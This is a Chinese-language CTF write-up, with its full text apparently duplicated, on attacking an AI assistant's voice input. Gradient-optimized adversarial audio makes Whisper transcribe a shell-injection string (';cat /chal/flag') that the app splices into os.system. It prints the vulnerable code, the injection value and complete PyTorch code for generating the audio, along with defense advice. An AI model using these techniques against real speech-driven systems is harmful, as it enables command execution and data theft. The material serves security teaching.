第五届“湾区杯”CTF Final - Blind writeup
字数 1258
更新时间 2025-12-31 12:06:27
Whisper模型对抗样本攻击教学文档
概述
本教学文档基于第五届"湾区杯"CTF决赛的Blind题目,详细讲解如何利用Whisper语音识别模型的漏洞进行命令注入攻击,并生成对抗样本音频。
漏洞分析
1. 漏洞背景
题目实现了一个AI助手系统,支持两种交互方式:
- 文字直接交流
- 音频上传识别后交流
2. 漏洞位置
在app.py的语音识别模块中存在命令注入漏洞:
# 漏洞代码示例
command = f"python3 chatbot.py '{asr_output}'"
os.system(command)
3. 攻击原理
当ASR模型识别结果为';cat /chal/flag'时,拼接后的命令变为:
python3 chatbot.py '';cat /chal/flag''
这会导致系统执行cat /chal/flag命令。
Whisper模型架构理解
1. 模型结构
Whisper采用Encoder-Decoder架构:
- Encoder: 处理音频特征,生成隐藏表示
- Decoder: 基于隐藏表示生成文本序列
2. 处理流程
- 音频预处理:生成梅尔频谱图
- Encoder处理:提取音频特征
- Decoder生成:自回归生成文本token
3. 关键组件
- Token序列: 以
[SOT](50257)开始,[EN](50362)表示英语,以[EOT](50256)结束 - 音频特征: 通过梅尔频谱图转换
对抗样本生成技术
1. 基本思路
通过梯度反向传播优化音频输入,使得模型输出特定的目标文本。
2. 关键挑战
- 梯度传递的稳定性
- 多token生成的顺序依赖
- 音频特征的约束条件
3. 失败的优化策略分析
策略一:逐token循环优化
# 问题:后续优化会破坏前面token的准确性
for target_token in target_tokens:
# 单独优化每个token
# 但优化后续token时会影响前面token的预测
策略二:累积梯度一次优化
# 问题:梯度累积导致优化方向混乱
total_loss = 0
for target_token in target_tokens:
loss = calculate_loss(logits, target_token)
total_loss += loss
total_loss.backward() # 梯度爆炸或消失
策略三:基于现实预测优化
# 问题:实际预测与目标不一致导致训练不稳定
tokens = torch.cat([tokens, torch.argmax(logits, dim=1)], dim=1)
有效的对抗样本生成方案
1. 核心代码实现
import torch
from whisper import load_model
from whisper.audio import log_mel_spectrogram, pad_or_trim
from whisper.tokenizer import get_tokenizer
import torchaudio
from torch import nn
# 设备配置
DEVICE = "mps" # 或 "cuda"/"cpu"
# 目标文本设置
target_text = "';cat /chal/flag'"
model = load_model("tiny.en.pt")
model.eval()
# Tokenizer初始化
tokenizer = get_tokenizer(
model.is_multilingual,
num_languages=model.num_languages,
language="en",
task="transcribe",
)
# 目标token编码
target_tokens = tokenizer.encode(target_text)
target_tokens = target_tokens + [50256] # 添加EOT token
print(f"目标Tokens: {target_tokens}")
# 可训练音频张量初始化
adv = torch.randn(1, 16000*15, device=DEVICE, requires_grad=True)
# 优化器配置
optimizer = torch.optim.Adam([adv], lr=0.01)
loss_fn = nn.CrossEntropyLoss()
# 训练循环
num_iterations = 50
for i in range(num_iterations):
# 初始化token序列:[SOT, EN]
tokens = torch.tensor([[50257, 50362]], device=DEVICE)
for target_token in target_tokens:
optimizer.zero_grad()
# 音频特征提取
mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=16000*30)
mel = pad_or_trim(mel, 3000).to(model.device)
audio_features = model.embed_audio(mel)
# 模型前向传播
logits = model.logits(tokens, audio_features)[:, -1]
# 损失计算
loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE))
loss.backward()
optimizer.step()
# 音频数据约束
adv.data = adv.data.clamp(-1, 1)
# 更新token序列
tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=1)
print(f"迭代 {i+1}/{num_iterations}, Loss: {loss.item():.4f}")
print(f"当前Tokens: {tokens.tolist()}")
# 保存对抗样本
torchaudio.save("adversarial.wav", adv.detach().cpu(), 16000)
# 验证识别结果
print("\n生成对抗音频的识别结果:")
result = model.transcribe(adv.detach().cpu().squeeze(0))
print(f"识别文本: {result['text']}")
2. 关键技术点
音频预处理
log_mel_spectrogram: 生成对数梅尔频谱图pad_or_trim: 统一音频长度(3000帧)- 采样率:16000Hz
梯度优化策略
- 逐token顺序优化: 按目标token顺序逐个优化
- 梯度清零: 每个token优化前清空梯度
- 数值约束: 音频数据限制在[-1, 1]范围内
Token序列管理
- 初始序列:
[SOT, EN] - 逐步添加目标token
- 最终以
EOTtoken结束
3. 参数调优建议
学习率选择
- 初始学习率:0.01
- 可根据收敛情况动态调整
迭代次数
- 基础设置:50次迭代
- 复杂目标可能需要更多迭代
音频长度
- 建议长度:15秒(16000*15采样点)
- 填充长度:30秒(确保特征完整性)
防御措施建议
1. 输入验证
- 对ASR输出进行特殊字符过滤
- 使用参数化查询替代命令拼接
2. 模型安全
- 对模型输出进行后处理验证
- 限制模型权限和系统调用
3. 系统加固
- 使用沙箱环境运行模型
- 实施最小权限原则
总结
本教学文档详细介绍了Whisper模型对抗样本攻击的全过程,包括漏洞分析、模型理解、攻击技术和实现方案。关键成功因素在于采用了逐token顺序优化的策略,避免了梯度冲突和训练不稳定的问题。这种技术不仅适用于CTF竞赛,也对现实世界中AI系统的安全防护具有重要参考价值。
Whisper模型对抗样本攻击教学文档
概述
本教学文档基于第五届"湾区杯"CTF决赛的Blind题目,详细讲解如何利用Whisper语音识别模型的漏洞进行命令注入攻击,并生成对抗样本音频。
漏洞分析
1. 漏洞背景
题目实现了一个AI助手系统,支持两种交互方式:
- 文字直接交流
- 音频上传识别后交流
2. 漏洞位置
在app.py的语音识别模块中存在命令注入漏洞:
# 漏洞代码示例
command = f"python3 chatbot.py '{asr_output}'"
os.system(command)
3. 攻击原理
当ASR模型识别结果为';cat /chal/flag'时,拼接后的命令变为:
python3 chatbot.py '';cat /chal/flag''
这会导致系统执行cat /chal/flag命令。
Whisper模型架构理解
1. 模型结构
Whisper采用Encoder-Decoder架构:
- Encoder: 处理音频特征,生成隐藏表示
- Decoder: 基于隐藏表示生成文本序列
2. 处理流程
- 音频预处理:生成梅尔频谱图
- Encoder处理:提取音频特征
- Decoder生成:自回归生成文本token
3. 关键组件
- Token序列: 以
[SOT](50257)开始,[EN](50362)表示英语,以[EOT](50256)结束 - 音频特征: 通过梅尔频谱图转换
对抗样本生成技术
1. 基本思路
通过梯度反向传播优化音频输入,使得模型输出特定的目标文本。
2. 关键挑战
- 梯度传递的稳定性
- 多token生成的顺序依赖
- 音频特征的约束条件
3. 失败的优化策略分析
策略一:逐token循环优化
# 问题:后续优化会破坏前面token的准确性
for target_token in target_tokens:
# 单独优化每个token
# 但优化后续token时会影响前面token的预测
策略二:累积梯度一次优化
# 问题:梯度累积导致优化方向混乱
total_loss = 0
for target_token in target_tokens:
loss = calculate_loss(logits, target_token)
total_loss += loss
total_loss.backward() # 梯度爆炸或消失
策略三:基于现实预测优化
# 问题:实际预测与目标不一致导致训练不稳定
tokens = torch.cat([tokens, torch.argmax(logits, dim=1)], dim=1)
有效的对抗样本生成方案
1. 核心代码实现
import torch
from whisper import load_model
from whisper.audio import log_mel_spectrogram, pad_or_trim
from whisper.tokenizer import get_tokenizer
import torchaudio
from torch import nn
# 设备配置
DEVICE = "mps" # 或 "cuda"/"cpu"
# 目标文本设置
target_text = "';cat /chal/flag'"
model = load_model("tiny.en.pt")
model.eval()
# Tokenizer初始化
tokenizer = get_tokenizer(
model.is_multilingual,
num_languages=model.num_languages,
language="en",
task="transcribe",
)
# 目标token编码
target_tokens = tokenizer.encode(target_text)
target_tokens = target_tokens + [50256] # 添加EOT token
print(f"目标Tokens: {target_tokens}")
# 可训练音频张量初始化
adv = torch.randn(1, 16000*15, device=DEVICE, requires_grad=True)
# 优化器配置
optimizer = torch.optim.Adam([adv], lr=0.01)
loss_fn = nn.CrossEntropyLoss()
# 训练循环
num_iterations = 50
for i in range(num_iterations):
# 初始化token序列:[SOT, EN]
tokens = torch.tensor([[50257, 50362]], device=DEVICE)
for target_token in target_tokens:
optimizer.zero_grad()
# 音频特征提取
mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=16000*30)
mel = pad_or_trim(mel, 3000).to(model.device)
audio_features = model.embed_audio(mel)
# 模型前向传播
logits = model.logits(tokens, audio_features)[:, -1]
# 损失计算
loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE))
loss.backward()
optimizer.step()
# 音频数据约束
adv.data = adv.data.clamp(-1, 1)
# 更新token序列
tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=1)
print(f"迭代 {i+1}/{num_iterations}, Loss: {loss.item():.4f}")
print(f"当前Tokens: {tokens.tolist()}")
# 保存对抗样本
torchaudio.save("adversarial.wav", adv.detach().cpu(), 16000)
# 验证识别结果
print("\n生成对抗音频的识别结果:")
result = model.transcribe(adv.detach().cpu().squeeze(0))
print(f"识别文本: {result['text']}")
2. 关键技术点
音频预处理
log_mel_spectrogram: 生成对数梅尔频谱图pad_or_trim: 统一音频长度(3000帧)- 采样率:16000Hz
梯度优化策略
- 逐token顺序优化: 按目标token顺序逐个优化
- 梯度清零: 每个token优化前清空梯度
- 数值约束: 音频数据限制在[-1, 1]范围内
Token序列管理
- 初始序列:
[SOT, EN] - 逐步添加目标token
- 最终以
EOTtoken结束
3. 参数调优建议
学习率选择
- 初始学习率:0.01
- 可根据收敛情况动态调整
迭代次数
- 基础设置:50次迭代
- 复杂目标可能需要更多迭代
音频长度
- 建议长度:15秒(16000*15采样点)
- 填充长度:30秒(确保特征完整性)
防御措施建议
1. 输入验证
- 对ASR输出进行特殊字符过滤
- 使用参数化查询替代命令拼接
2. 模型安全
- 对模型输出进行后处理验证
- 限制模型权限和系统调用
3. 系统加固
- 使用沙箱环境运行模型
- 实施最小权限原则
总结
本教学文档详细介绍了Whisper模型对抗样本攻击的全过程,包括漏洞分析、模型理解、攻击技术和实现方案。关键成功因素在于采用了逐token顺序优化的策略,避免了梯度冲突和训练不稳定的问题。这种技术不仅适用于CTF竞赛,也对现实世界中AI系统的安全防护具有重要参考价值。